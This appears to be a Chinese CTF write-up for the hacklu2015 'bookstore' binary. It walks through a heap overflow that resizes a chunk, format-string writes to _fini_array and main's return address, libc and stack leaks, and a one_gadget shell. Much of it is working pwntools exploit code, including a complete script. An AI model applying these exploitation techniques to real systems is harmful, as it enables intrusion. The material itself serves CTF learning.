题目 : hacklu2015_bookstore
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TeMDe5HB-1642936683042)(off-by-one(bookstore)].assets/image-20220123172539218.png)](https://i-blog.csdnimg.cn/blog_migrate/d29c9adda31ace4d430ad4777308a471.png)
分析
题目嵌入函数层级不多
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NVeN3G3h-1642936683044)(off-by-one(bookstore)].assets/image-20220123172858380.png)](https://i-blog.csdnimg.cn/blog_migrate/f809124199a6a10c0eb1d84648b99574.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eAxHPB7P-1642936683045)(off-by-one(bookstore)].assets/image-20220123173126461.png)](https://i-blog.csdnimg.cn/blog_migrate/a9af26eb0a3071469ddd1957468af821.png)
该程序和平时的堆体不太一样,漏洞很明显,没有提交malloc的选项,但是选项5有个malloc(0x140)那么因为存在堆溢出漏洞,所以通过溢出ptr1到ptr2的头部进行修改为0x150再释放ptr2进行提交时因为uaf的原因即可重新分配到ptr2+dest的堆块内容信息
#------------start----------------
dele(2)
payload = b'A'*0x88
edit(1,payload + p64(0x151))
溢出修改chunk2前:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gaNwG3Eg-1642936683045)(off-by-one(bookstore)].assets/image-20220123174202758.png)](https://i-blog.csdnimg.cn/blog_migrate/e98a6446ad917b236a9b4ce85682cd9c.png)
修改后:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TVp1xe69-1642936683046)(off-by-one(bookstore)].assets/image-20220123174234589.png)](https://i-blog.csdnimg.cn/blog_migrate/c327584251c3e44fef00accebb4704b1.png)
利用格式化字符漏洞进行任意地址写入,从而达到程序重新执行,那么就需要构造格式化字符的数据放入dest中,从mager函数中的值最后提交的数据会将ptr1和ptr2的数据按序放入sub_ptr中,因为经过上面的溢出,此时ptr2的大小为0x150,且sub_ptr的也是这块0x150的chunk,这里有点小绕,不过gdb调试观察一下就明白了
那么修改填入chunk1的数据如下:
def sub(addr):
sla('5: Submit\n',b'5'*8 + addr) #乘以8是为了字节对其,以便后面写入数据
target = 0x6011B8 #_fini_array地址
start = 0x400780 #start函数地址
#------------start----------------
dele(2)
payload = b'%' + bytes(str(start & 0xffff),'utf-8') + b'c%13$hn' #写入地址使程序重新执行
payload += b'%31$p%33$p' #同时泄露后续需要的重要函数,和libc
payload += b'A'* (0x88 -len(payload)) #填充剩下的数据.使之大小为0x90
edit(1,payload + p64(0x151))
sub(p64(target)) #将目标地址写入进栈空间
得到libc
#------------leak stack----------------
ru('0x')
libc = int(rc(12),16) - (0x7f3324caa830-0x7f3324c8a000)
ru('0x')
leak = int(rc(12),16)
success('leak',leak)
success('libc',libc)
此时栈空间:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ij2iaWR3-1642936683046)(off-by-one(bookstore)].assets/image-20220123183921964.png)](https://i-blog.csdnimg.cn/blog_migrate/4e4a97f25ce8709e36476301b8af5a3d.png)
控制台打印的信息:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xQgVbktO-1642936683047)(off-by-one(bookstore)].assets/image-20220123183959962.png)](https://i-blog.csdnimg.cn/blog_migrate/f1f09859e3f02ffcaed819f57ec5ecc0.png)
因为有了libc的地址且程序重新执行了,最后就只需要再次通过格式化字符漏洞将one_gadget写入程序main函数返回地址(原__libc_start_main处),即可getshell
#------------getshell----------------
one_gadget = libc_base + one[0]
one1 = u16(p64(one_gadget)[:2])-22 #最后2字节 +偏移
one2 = u8(p64(one_gadget)[2:3]) -6 #最后第3字节+偏移
dele(2)
payload = b'%' + bytes(str(one1),'utf-8') + b'c%13$hn' #写入地址one_gadget
payload += b'%' + bytes(str(one2),'utf-8') + b'c%14$hhn' #写入地址one_gadget
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
ret = leak - (0x7fffb51af3c8-0x7fffb51af110) #第二次进入main函数时的返回地址,这里是固定偏移,可以通过gdb调试出来
success('one',one_gadget)
sub(p64(ret)+p64(ret+2))
最后的栈空间
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZNJ1xf2L-1642936683048)(off-by-one(bookstore)].assets/image-20220123191310331.png)](https://i-blog.csdnimg.cn/blog_migrate/20ef545997c2f4aa40bb139c3fa8125b.png)
完整exp:
#! /usr/bin/python3
# -*-coding:utf-8 -*
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./bookstore"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])
def sub(addr):
sla('5: Submit\n',b'5'*8 + addr) #乘以8是为了字节对其,以便后面写入数据
def dele(idx):
sla('5: Submit\n',str(idx+2))
def edit(idx,data):
sla('5: Submit\n',str(idx))
if idx==1:
sla('Enter first order:\n',data)
else:
sla('Enter second order:\n',data)
target = 0x6011B8
start = 0x400780
z(''' b *0x400C8E \n c''')
#------------start----------------
dele(2)
payload = b'%' + bytes(str(start & 0xffff),'utf-8') + b'c%13$hn' #写入地址使程序重新执行
payload += b'%31$p%33$p' #同时泄露后续需要的重要函数,和libc
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
sub(p64(target))
#------------leak stack----------------
ru('0x')
libc_base = int(rc(12),16) - (0x7f3324caa830-0x7f3324c8a000)#固定偏移
ru('0x')
leak = int(rc(12),16)
success('leak',leak)
success('libc',libc_base)
#------------getshell----------------
one_gadget = libc_base + one[0]
one1 = u16(p64(one_gadget)[:2])-22 #最后2字节 +偏移
one2 = u8(p64(one_gadget)[2:3]) -6 #最后第3字节+偏移
dele(2)
payload = b'%' + bytes(str(one1),'utf-8') + b'c%13$hn' #写入地址one_gadget
payload += b'%' + bytes(str(one2),'utf-8') + b'c%14$hhn' #写入地址one_gadget
payload += b'A'* (0x88 -len(payload))
edit(1,payload + p64(0x151)) #填充剩下的数据.使之大小为0x90
ret = leak - (0x7fffb51af3c8-0x7fffb51af110) #第二次进入main函数时的返回地址
success('one',one_gadget)
sub(p64(ret)+p64(ret+2))
#------------end----------------
it()
本文针对HackLU2015书店程序的漏洞进行了深入分析,通过堆溢出和格式化字符串漏洞,实现了任意地址写入,进而利用one_gadget技巧获取shell权限。文章详细介绍了利用过程及关键步骤。
1220

被折叠的 条评论
为什么被折叠?



